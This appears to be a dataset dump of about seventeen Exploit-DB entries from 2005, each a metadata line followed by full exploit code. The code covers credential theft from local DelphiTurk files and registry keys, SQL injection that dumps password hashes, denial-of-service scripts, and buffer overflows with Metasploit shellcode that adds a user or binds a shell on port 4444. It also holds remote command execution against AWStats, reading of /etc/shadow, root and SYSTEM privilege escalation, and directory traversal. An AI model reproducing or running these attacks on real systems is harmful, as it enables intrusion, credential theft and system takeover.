QLWD/code_shield huggingface dataset:
标题: DelphiTurk FTP 1.0 - Passwords to Local Users EDB-ID: 803 CVE: 2005-0421 类型: LOCAL 平台: WINDOWS 发布日期: 2005-02-09 漏洞利用脚本: /*****************************************************************

DelphiTurk FTP v1.0 Local Exploit by Kozan

Application: DelphiTurk FTP v1.0
Procuder: Delphiturk.com and Delphikitabi.com
Vulnerable Description: DelphiTurk FTP v1.0 passwords to local users.


Coded by: Kozan
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan[at]netmagister[dot]com


*****************************************************************/

#include <stdio.h>
#include <windows.h>


HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;


char *bilgi_oku(int adres,int uzunluk)
{

if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{

lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,
(LPBYTE) prgfiles, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
RegCloseKey(hKey);
printf("An error occured!");
return 0;
}

RegCloseKey(hKey);

}else{
printf("An error occured!\n");
exit(1);
}

strcat(prgfiles,"\\DelphiTurk\\Delphi T&#65533;rk FTP\\profile.dat");

int i;
FILE *fp;
char ch[100];
if((fp=fopen(prgfiles,"rb")) == NULL)
{
return "false";
}
fseek(fp,adres,0);
for(i=0;i<uzunluk;i++)
ch[i]=getc(fp);
ch[i]=NULL;
fclose(fp);
return ch;
}



int main()
{

printf("\r\n\r\nDelphiTurk FTP v1.0 Local Exploit by Kozan\n");
printf("www.netmagister.com - www.spyinstructors.com\r\n\r\n");
printf("This example exploit only shows the first record.\r\n");
printf("You may improve it freely...\r\n\r\n");
printf("ProfileName : %s\n",bilgi_oku(1,31));
printf("Ftp Server : %s\n",bilgi_oku(32,51));
printf("Ftp Server : %s\n",bilgi_oku(83,51));
printf("Ftp Server : %s\n",bilgi_oku(134,51));


return 0;


}

// milw0rm.com [2005-02-09] URL: https://www.exploit-db.com/exploits/803
标题: CMScore - SQL Injection EDB-ID: 808 CVE: 2005-0368 类型: WEBAPPS 平台: PHP 发布日期: 2005-02-10 漏洞利用脚本: /*==========================================*/
// GHC -> CMS CORE <- ADVISORY
// Product: CMS Core
// URL: http://chipmunk-scripts.com/scripts/cmscore.php
// VULNERABILITY CLASS: SQL injection
/*==========================================*/

[exploit]
Log in with username
Administrator'/*
from admin/index.php page.

# milw0rm.com [2005-02-10] URL: https://www.exploit-db.com/exploits/808
标题: MyPHP Forum 1.0 - SQL Injection EDB-ID: 807 CVE: 2005-0413 类型: WEBAPPS 平台: PHP 发布日期: 2005-02-10 漏洞利用脚本: /*==========================================*/
// GHC -> MyPHP Forum <- ADVISORY
// Product: MyPHP Forum
// Version: 1.0
// URL: http://www.myphp.ws
// VULNERABILITY CLASS: SQL injection
/*==========================================*/

[example of exploit]
member.php?action=viewpro&member=nonexist' UNION SELECT uid, username, password, status, email, website, aim, msn, location, sig, regdate, posts, password as yahoo FROM nb_member WHERE uid='1

/* will show administrator's name and password hash (in the "Yahoo" field). */

# milw0rm.com [2005-02-10] URL: https://www.exploit-db.com/exploits/807
标题: Foxmail 2.0 - 'MAIL FROM:' Denial of Service EDB-ID: 797 CVE: 2005-0636 2005-0339 类型: DOS 平台: WINDOWS 发布日期: 2005-02-07 漏洞利用脚本: #!/usr/bin/python
#Code by OYXin
#oyxin_at_segfault.cn
import socket
import sys
import getopt


def usage():
    print "Usage: foxserver.py -h host -p port"
    sys.exit(0)
    
if __name__ == '__main__':
    
    try: 
        opts, args = getopt.getopt(sys.argv[1:], "h:p:") 
    except getopt.GetoptError, msg: 
        print msg
        usage()
        
    for o,a in opts:
        if o in ["-h"]:
            host = a
        if o in ["-p"]:
            port = int(a)

    evilbuf =  "MAIL-FROM: <" + "A"*5000 + ">" + "\r\n"
    evilbuf += "RCPT-TO: postmaster@company.mailDATA" + "\r\n"
    evilbuf += "Message-ID: 123" + "\r\n"
    evilbuf += "ASDF" + "\r\n"
    evilbuf += "." + "\r\n"
    evilbuf += "QUIT" + "\r\n"
    try:
        sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sockfd.connect((host, port))
        recvbuf = sockfd.recv(1024)
        print `recvbuf`
        sockfd.send("HELO localhost\r\n")
        recvbuf = sockfd.recv(1024)
        print `recvbuf`
        sockfd.send(evilbuf)
    except socket.error, msg:
        print msg
        
    sockfd.close()

# milw0rm.com [2005-02-07] URL: https://www.exploit-db.com/exploits/797
标题: DelphiTurk CodeBank 3.1 - Local Username and Password Disclosure EDB-ID: 798 CVE: 2005-0422 类型: LOCAL 平台: WINDOWS 发布日期: 2005-02-08 漏洞利用脚本: /*******************************************************************
 
DelphiTurk CodeBank Local Exploit
 
Application: DelphiTurk CodeBank 3.1 (and previous versions)
Procuder: Delphiturk.com
Vulnerable Description: Delhiturk CodeBank discloses username and password to
local users.
 
 
Coded by: Kozan
Web: www.netmagister.com
Mail: kozan[at]netmagister[dot]com
 
*******************************************************************/
 
 
#include <stdio.h>
#include <windows.h>
 
HKEY hKey;
char username[BUFSIZE], password[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;
#define BUFSIZE 100
 
int main(void)
{
 
  if(RegOpenKeyEx(HKEY_CURRENT_USER,
     "Software\\DelphiTurk\\Codebank",
     0,
     KEY_QUERY_VALUE,
     &hKey) == ERROR_SUCCESS)
  {
 
            lRet = RegQueryValueEx( hKey, "username", NULL, NULL,
               (LPBYTE) username, &dwBufLen);
 
   if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
     RegCloseKey(hKey);
     printf("En error occured!");
     return 0;
   }
 
 
   lRet = RegQueryValueEx( hKey, "password", NULL, NULL,
               (LPBYTE) password, &dwBufLen);
 
   if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
     RegCloseKey(hKey);
     printf("En error occured!");
     return 0;
   }
            RegCloseKey( hKey );
   printf("DelphiTurk CodeBank Local Exploit by Kozan\n\n");
   printf("Username: %s\n",username);
   printf("Password: %s\n",password);
 
 
  }
  else{
   printf("DelphiTurk Codebank is not installed on your system!");
  }
 
 
 return 0;
}


// milw0rm.com [2005-02-08] URL: https://www.exploit-db.com/exploits/798
标题: PerlDesk 1.x - SQL Injection EDB-ID: 790 CVE: 2005-0343 类型: WEBAPPS 平台: CGI 发布日期: 2005-02-05 漏洞利用脚本: #!/usr/bin/perl

# Example:
# kb.cgi?view=0 UNION SELECT 1,3,password,username,3,7 FROM users

# Exploit is attached.
# ./pde.pl www.internethosting4u.com /perldesk/kb.cgi 148.244.150.58:80

use IO::Socket;

print '
########################################################
# PerlDesk exploit
#
# Usage: ./pdsploit.pl host path proxy
#
#
#
# Vunerability discovered by
#
# deluxe89 and Astovidatu [ www.security-project.org ]
#
#
#
# Special thanks to doc and WebDoctor´s
#
########################################################

';

if($#ARGV != 2)
{
       exit;
}

$host = $ARGV[0];
$path = $ARGV[1];
$proxy = $ARGV[2];
($addr, $port) = split(/:/, $proxy);

$offset = 0;

while(1)
{
       $value =
"view=0%20UNION%20SELECT%20'0','0',CONCAT('_P',password,'P_'),CONCAT('_U',username,'U_'),'0','0'%20FROM%20users%20LIMIT%20$offset,1";

       $socket = IO::Socket::INET->new(Proto => "tcp",
PeerAddr => $addr, PeerPort => $port) || die "[-]
Proxy doesn't work\n";
       print $socket "GET http://$host$path?$value
HTTP/1.1\nHost: $host\n\n";

       $user = '';
       $pass = '';
       while(defined(my $data = <$socket>))
       {
               if($data =~ m/_P(.*)P_/)
               {
                       $pass = $1;
               }
               if($data =~ m/_U(.*)U_/)
               {
                       $user = $1;
               }
       }

       if($user ne '' && $pass ne '')
       {
               print "$user:$pass\n";
       }
       else
       {
               die "[+] Finished\n";
       }

       $offset++;
}

# code by deluxe89 [ www.security-project.org ]

# milw0rm.com [2005-02-05] URL: https://www.exploit-db.com/exploits/790
标题: Setuid perl - 'PerlIO_Debug()' Root Owned File Creation Privilege Escalation EDB-ID: 792 CVE: 2005-0155 类型: LOCAL 平台: LINUX 发布日期: 2005-02-07 漏洞利用脚本: /*
 * Copyright Kevin Finisterre 
 * 
 * ** DISCLAIMER ** I am in no way responsible for your stupidity.
 * ** DISCLAIMER ** I am in no way liable for any damages caused by compilation and or execution of this code.
 *
 * ** WARNING ** DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***
 * ** WARNING ** overwriting /etc/ld.so.preload can severly fuck up your box (or someone elses).
 * ** WARNING ** have a boot disk ready incase some thing goes wrong.
 *
 * Setuid Perl exploit by KF - kf_lists[at]secnetops[dot]com - 1/30/05
 *
 * this exploits a vulnerability in the PERLIO_DEBUG functionality
 * tested against sperl5.8.4 on Debian
 *
 * kfinisterre@jdam:~$ cc -o ex_perl ex_perl.c
 * kfinisterre@jdam:~$ ls -al /etc/ld.so.preload
 * ls: /etc/ld.so.preload: No such file or directory
 * kfinisterre@jdam:~$ ./ex_perl
 * sperl needs fd script
 * You should not call sperl directly; do you need to change a #! line
 * from sperl to perl?
 * kfinisterre@jdam:~$ su -
 * jdam:~# id
 * uid=0(root) gid=0(root) groups=0(root)
 * jdam:~# rm /etc/ld.so.preload
 *
 */


#define PRELOAD "/etc/ld.so.preload"
#include <stdio.h>
#include <strings.h>

int main(int *argc, char **argv)
{

        FILE *getuid;
        if(!(getuid = fopen("/tmp/getuid.c","w+"))) {
                printf("error opening file\n");
                exit(1);
        }
        
 fprintf(getuid, "int getuid(){return 0;}\n" );
        fclose(getuid);

        system("cc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc");

 putenv("PERLIO_DEBUG="PRELOAD);
        umask(001); // I'm rw-rw-rw james bitch!
        system("/usr/bin/sperl5.8.4");
        FILE *ld_so_preload;

        char preload[] = {
                "/tmp/getuid.so\n"
        };

        if(!(ld_so_preload = fopen(PRELOAD,"w+"))) {
                printf("error opening file\n");
                exit(1);
        }
        fwrite(preload,sizeof(preload)-1,1,ld_so_preload);
        fclose(ld_so_preload);
}

// milw0rm.com [2005-02-07] URL: https://www.exploit-db.com/exploits/792
标题: Savant Web Server 3.1 - Remote Buffer Overflow (1) EDB-ID: 781 CVE: 2005-0338 类型: REMOTE 平台: WINDOWS 发布日期: 2005-02-01 漏洞利用脚本: #########################################################
#                                                       #
# Savant web server Buffer Overflow Exploit             #
# Discovered by : Mati Aharoni                          #
# Coded by : Tal Zeltzer and Mati Aharoni               #
# www.see-security.com                                  #
# FOR RESEACRH PURPOSES ONLY!                           #
#########################################################
import struct
import socket
sc = "\x90" * 21
# win32_adduser - PASS=pwd EXITFUNC=thread USER=X Size=232 Encoder=PexFnstenvSub http://metasploit.com
sc += "\x31\xc9\x83\xe9\xcc\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
sc += "\x23\x73\xe4\x83\xeb\xfc\xe2\xf4\x24\xcb\x35\xe4\xd8\x23\xf8\xa1"
sc += "\xe4\xa8\x0f\xe1\xa0\x22\x9c\x6f\x97\x3b\xf8\xbb\xf8\x22\x98\x07"
sc += "\xf6\x6a\xf8\xd0\x53\x22\x9d\xd5\x18\xba\xdf\x60\x18\x57\x74\x25"
sc += "\x12\x2e\x72\x26\x33\xd7\x48\xb0\xfc\x27\x06\x07\x53\x7c\x57\xe5"
sc += "\x33\x45\xf8\xe8\x93\xa8\x2c\xf8\xd9\xc8\xf8\xf8\x53\x22\x98\x6d"
sc += "\x84\x07\x77\x27\xe9\xe3\x17\x6f\x98\x13\xf6\x24\xa0\x2c\xf8\xa4"
sc += "\xd4\xa8\x03\xf8\x75\xa8\x1b\xec\x31\x28\x73\xe4\xd8\xa8\x33\xd0"
sc += "\xdd\x5f\x73\xe4\xd8\xa8\x1b\xd8\x87\x12\x85\x84\x8e\xc8\x7e\x8c"
sc += "\x37\xed\x93\x84\xb0\xbb\x8d\x6e\xd6\x74\x8c\x03\x30\xcd\x8c\x1b"
sc += "\x27\x40\x1e\x80\xf6\x46\x0b\x81\xf8\x0c\x10\xc4\xb6\x46\x07\xc4"
sc += "\xad\x50\x16\x96\xf8\x7b\x53\x94\xaf\x47\x53\xcb\x99\x67\x37\xc4"
sc += "\xfe\x05\x53\x8a\xbd\x57\x53\x88\xb7\x40\x12\x88\xbf\x51\x1c\x91"
sc += "\xa8\x03\x32\x80\xb5\x4a\x1d\x8d\xab\x57\x01\x85\xac\x4c\x01\x97"
sc += "\xf8\x7b\x53\xcb\x99\x67\x37\xe4";
sc += "AA"
# Win2k SP0,1,2,3,4
#Change Return address as needed
buf = "\xEB\x19" + " /" + sc + struct.pack("<L",0x750236b2) + "\r\n\r\n"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('127.0.0.1',80))
s.send(buf)
s.close()

# milw0rm.com [2005-02-01] URL: https://www.exploit-db.com/exploits/781
标题: AWStats 6.0 < 6.2 - 'configdir' Remote Command Execution EDB-ID: 773 CVE: 2005-0116 类型: WEBAPPS 平台: CGI 发布日期: 2005-01-25 漏洞利用脚本: #!/usr/bin/perl
#---GHC---------------------------------#
#Remote command execution exploit #
#Product:                                        #
#Advanced Web Statistics 6.0 - 6.2    #
#URL:http://awstats.sourceforge.net  #
#Greets & respects to our friends:     #
#1dt.w0lf and all rst.void.ru              #
#Special greets 2 d0G4                    #
#& cr0n for link on bugtraq               #
#---not-PRIVATE-already--------------#
# bug found by iDEFENSE                 #
# http://www.idefense.com/             #
# application/poi/display?                 #
# id=185&type=vulnerabilities          #
# &flashstatus=true                         #
#-----------------------------------------#

use IO::Socket;
$banner = "
#################################################################
GHC 2005
Remote command execution exploit for:
Advanced Web Statistics 6.0 - 6.2
Usage:
>perl ./GHCaws.pl www.server.net /cgi-bin/awredir.pl \"uname -a\"
#################################################################
";

$bug_param = 'configdir';
$id_start = 'b_exp';
$id_exit = 'e_exp';
$id_print = 0;
$http_head = "\n\n";

sub Print_Report {
$str = $_[0];
if ($str =~ m/$id_exit/i) {
exit;
}
if ($str =~ m/$id_start/i) {
$str =~ s/$id_start//ig;
$id_print = 1;
}
if ($id_print == 1) {
print "$str";
}
}

sub ConnectServer {
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80")
|| die "Error\n";
print $socket "GET $dir".'?'.$bug_param.'='."$expl HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
while ($report = <$socket>) {
&Print_Report("$report");
}
}


print "$banner";
if ($ARGV[0] && $ARGV[1] && $ARGV[2]) {
$server = $ARGV[0];
$dir = $ARGV[1];
$cmd = $ARGV[2]; }
else {
exit;
}

$expl = '|echo '.''.';echo '.$id_start.';'.$cmd.';echo '.$id_exit.';%00';
$expl =~ s/\W/"%".sprintf("%x",ord($&))/eg;
&ConnectServer;

# milw0rm.com [2005-01-25] URL: https://www.exploit-db.com/exploits/773
标题: ncpfs < 2.2.6 (Gentoo / Linux) - Local Privilege Escalation EDB-ID: 779 CVE: 2010-0788 类型: LOCAL 平台: LINUX 发布日期: 2005-01-30 漏洞利用脚本: #!/bin/sh
## Had to remove local -r to get it to work via sh on my box
## Root's encrypted password was in toupper form but the
## super stated it worked fine for him (Gentoo with ncpfs 2.2.5)
## If it worked for you send an email to info@milw0rm.com /str0ke

(echo  'head1 by super'
 echo -e '==============\n'
 (function head1(){
   (local -r MNTDIR=~/mnt.$$
     (mv ~/.nwclient ~/.nwclient.temp
       ln -sf $1 ~/.nwclient
       mkdir $MNTDIR)2>/dev/null
     (echo $1
       ncpmount $MNTDIR
       echo)
     (rmdir $MNTDIR
       rm ~/.nwclient
       mv .nwclient.temp .nwclient)2>/dev/null)}
 (for i in /etc/*shadow*
   do head1 $i
   done)))#

# milw0rm.com [2005-01-30] URL: https://www.exploit-db.com/exploits/779
标题: Golden FTP Server 2.02b - Remote Buffer Overflow EDB-ID: 767 CVE: 2005-0566 类型: REMOTE 平台: WINDOWS 发布日期: 2005-01-22 漏洞利用脚本: #!/usr/bin/perl -w
# Barabas - www.whitehat.co.il -
# cheers to muts and all peeps at WH.
# XPSP2 goldenftpserver sploit - bind 4444

use strict;
use Net::FTP;
my $payload="\x41"x260;
$payload .="\x65\x82\xa5\x7c";#jmpesp
$payload .="\x90"x32;#not really necessary...blah
# win32_bind - EXITFUNC=seh LPORT=4444 Size=321 Encoder=None http://metasploit.com
$payload .="\xfc\x6a\xeb\x4f\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45".
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\xe3".
"\x30\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1".
"\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe3\x8b\x5f\x24\x01".
"\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24".
"\x1c\x61\xc3\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b\x70\x1c\xad".
"\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x31\xdb\x66\x53".
"\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc".
"\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff".
"\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53".
"\x43\x53\xff\xd0\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a".
"\x70\xc7\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9".
"\x57\xff\xd6\x53\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50".
"\x54\x54\x55\xff\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff".
"\xd0\x66\x6a\x64\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89".
"\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93".
"\x8d\x7a\x38\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6".
"\x5b\x57\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad".
"\xd9\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83".
"\xc4\x64\xff\xd6\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff".
"\xd0";

my $ftp = Net::FTP->new("127.0.0.1", Debug => 1);
$ftp->login("ftp","ftp");
$ftp->quot("RNTO",$payload); 

# milw0rm.com [2005-01-22] URL: https://www.exploit-db.com/exploits/767
标题: Apple Mac OSX 10.3.7 - 'mRouter' Local Privilege Escalation EDB-ID: 766 CVE: 2005-0193 类型: LOCAL 平台: OSX 发布日期: 2005-01-22 漏洞利用脚本: /*
  * fm-iSink.c
  * overflow in mRouter, suid binary used by iSync, on OSX <= 10.3.7
  *
  * written by -( nemo @ felinemenace.org )-
  *
  *                    _,'|             _.-''``-...___..--';)
  *                    /_ \'.      __..-' ,      ,--...--'''
  *                   <\    .`--'''       `     /'
  *                   `-';'               ;   ; ;
  *              __...--''     ___...--_..'  .;.'
  *          fL (,__....----'''       (,..--''
  *
  * http://pulltheplug.org and http://felinemenace.org.
  *
  * Bug discovered by Braden Thomas. Exploit by nemo.
  *
  * -( need a challenge...? )-
  * -( http://www.pulltheplug.org )-
  */

#include <sys/types.h>
#include <string.h>
#include <unistd.h>

#define VULNPROG 
"/System/Library/SyncServices/SymbianConduit.bundle/Contents/Resources/
mRouter"
#define MAXBUFSIZE 4096

char shellcode[] = // Shellcode by b-r00t, modified by nemo.
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\x01\xc3\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xff\xff\x02"
"\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x60"
"\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8"
"\x3b\xc0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\x02\x7c\xa3\x2b\x78"
"\x3b\xc0\x01\x0d\x38\x1e\xfe\xf4\x44\xff\xff\x02\x2f\x62\x69\x6e"
"\x2f\x73\x68";

char filler[MAXBUFSIZE];

int main(int ac, char **av)
{
unsigned int ret  = 0xbffffffa -  strlen(shellcode);
         char *args[] = { VULNPROG, "-v", "-a", filler, NULL };
char *env[]  = { "TERM=xterm", shellcode, NULL };

         memset(filler,(char)'A',sizeof(filler));
         memcpy(filler+MAXBUFSIZE-5,&ret,4);

execve(*args, args,env);

         return 0;
}

// milw0rm.com [2005-01-22] URL: https://www.exploit-db.com/exploits/766
标题: Apple Mac OSX 10.3.7 - Input Validation Flaw 'parse_machfile()' Denial of Service EDB-ID: 762 CVE: 2005-0122 类型: DOS 平台: OSX 发布日期: 2005-01-20 漏洞利用脚本: /*
* DoS for Darwin Kernel Version < 7.5.0
* -(nemo pulltheplug org)-
* 2005
*
* greetz to awnex, cryp, nt, andrewg, arc, mercy, amnesia ;)
* irc.pulltheplug.org (#social)
*/


#include <stdio.h>

int main( int ac, char * * av )
{
  FILE * me;
  int rpl = 0xffffffff;
  fpos_t pos = 0x10;
  printf( "-( nacho - 2004 DoS for OSX (darwin < 7.5.0 )-\n" );
  printf( "-( nemo pulltheplug org )-\n\n" );
  printf( "[+] Opening file for writing.\n" );
  if ( !( me = fopen( * av, "r+" ) ) )
  {
    printf( "[-] Error opening exe.\n" );
    exit( 1 );
  }
  printf( "[+] Seeking to ncmds.\n" );
  if ( ( fsetpos( me, & pos ) ) == -1 )
  {
    printf( "[-] Error seeking to ncmds.\n" );
    exit( 1 );
  }
  printf( "[+] Changing ncmds to 0x%x.\n", rpl );
  if ( fwrite( & rpl, 4, 1, me ) < 1 )
  {
    printf( "[-] Error writing to file.\n" );
    exit( 1 );
  }
  fclose( me );
  printf( "[+] Re-executing with modified mach-o header.\n" );
  sleep( 5 );
  if ( execv( * av, av ) == -1 )
  {
    printf( "[-] Error executing %s, please run manually.\n", * av );
    exit( 1 );
  }
  exit( 0 ); // hrm
}

// milw0rm.com [2005-01-20] URL: https://www.exploit-db.com/exploits/762
标题: Exim 4.41 - 'dns_build_reverse' Local Buffer Overflow EDB-ID: 756 CVE: 2005-0021 类型: LOCAL 平台: LINUX 发布日期: 2005-01-15 漏洞利用脚本: /*
This proof-of-concept demonstrates the existence of the vulnerability
reported by iDEFENSE (iDEFENSE Security Advisory 01.14.05).
It has been tested against exim-4.41 under Debian GNU/Linux.
Note that setuid () is not included in the shellcode to avoid
script-kidding.
My RET is 0xbffffae4, but fb.pl can brute-force it for you.

-----------
Brute Force fb.pl:
-----------

#!/usr/bin/perl

$cnt = 0xbffffa10;

while (1) {
   $hex = sprintf ("0x%x", $cnt);
   $res = system ("./exploit $hex");
   printf "$hex : $res\n";
   $cnt += 4;
}

---------
exploit.c:
---------
*/

#define NOP 0x90
#define TAMBUF 368
#define INIC_SH 20
#include <stdlib.h>

int main (int argc, char **argv) {

   static char shellcode[]=
   "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
   "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"
   "\x2f\x73\x68\x58";

   char buffer [TAMBUF + 1];
   char cadena [TAMBUF + 5];
   int cont;
   unsigned long ret = strtoul (argv[1], NULL, 16);

   for (cont = 0; cont < TAMBUF / 4; cont++)
           *( (long *) buffer + cont) = ret;

   for (cont = 0; cont < strlen (shellcode); cont++)
           buffer [cont + INIC_SH] = shellcode [cont];

   for (cont = 0; cont < INIC_SH; cont++)
           buffer [cont] = NOP;

   buffer [TAMBUF] = 0;
   printf ("RET = 0x%x\n", ret);
   strcpy (cadena, "::%A");
   strcat (cadena, buffer);
       execl ("/usr/sbin/exim", "./exim", "-bh", cadena, (char *) 0);
}

// milw0rm.com [2005-01-15] URL: https://www.exploit-db.com/exploits/756
标题: Microsoft Windows - Improper Token Validation Privilege Escalation EDB-ID: 749 CVE: 2004-0894 类型: LOCAL 平台: WINDOWS 发布日期: 2005-01-11 漏洞利用脚本: /* Removed #include "stdafx.h" / str0ke */

#include <stdio.h>
#include <windows.h>

#define INFO_BUFFER_SIZE MAX_COMPUTERNAME_LENGTH + 1
#define PATH_SIZE INFO_BUFFER_SIZE + MAX_PATH + 4
typedef UINT (WINAPI* PFnMsiInstallProduct)(LPCSTR szPackagePath, LPCSTR szCommandLine);


int main(int argc, char* argv[])
{
HANDLE hToken,hThread;
HMODULE hMsi = 0;
CHAR infoBuf[INFO_BUFFER_SIZE];
DWORD bufCharCount = INFO_BUFFER_SIZE;
CHAR file1[PATH_SIZE]="\\\\";
CHAR file2[PATH_SIZE]="\\\\";
CHAR file3[PATH_SIZE]="\\\\";

//Get name of the computer. 
GetComputerName(infoBuf, &bufCharCount);

hThread=GetCurrentThread();
hMsi = LoadLibrary("msi.dll");

//Invoke windows installer service in order to steal a Local System account identity token.
//Curious? some internal LPC magic here, see *1*
PFnMsiInstallProduct MsiInstallProduct = 0;
MsiInstallProduct = (PFnMsiInstallProduct)GetProcAddress(hMsi, "MsiInstallProductA");
MsiInstallProduct("","");

//Get Local System account identity token and set it to current thread
hToken=(void*)0x1;
while(SetThreadToken(&hThread,hToken)==NULL){
hToken=(void*)((int)hToken+1);
}

strcat(file1,infoBuf);
strcat(file1,"\\C$\\winnt\\system32\\utilman.exe");

strcat(file2,infoBuf);
strcat(file2,"\\C$\\winnt\\system32\\utilmanback.exe");

strcat(file3,infoBuf);
strcat(file3,"\\C$\\winnt\\system32\\notepad.exe");

//Replace Utility Manager with Notepad impersonating Local System account
//BTW: fuck Windows file protection :)
if(!CopyFile(file1,file2, TRUE))
printf("CopyFile() failed: %d\n", GetLastError());
else
if(!CopyFile(file3,file1, FALSE))
printf("CopyFile() failed: %d\n", GetLastError());
else {
printf("\nPress WinKey+U to run Notepad as Local System\n");
printf("Remember to restore original utilman.exe from utilmanback.exe\n");
}

Sleep(5000);
return 0;
}

// milw0rm.com [2005-01-11] URL: https://www.exploit-db.com/exploits/749
标题: QwikiWiki - Directory Traversal EDB-ID: 737 CVE: 2005-0283 类型: WEBAPPS 平台: PHP 发布日期: 2005-01-04 漏洞利用脚本: REQUEST:
http://[SERVER]/qwiki/index.php?page=../_config.php%00

# milw0rm.com [2005-01-04] URL: https://www.exploit-db.com/exploits/737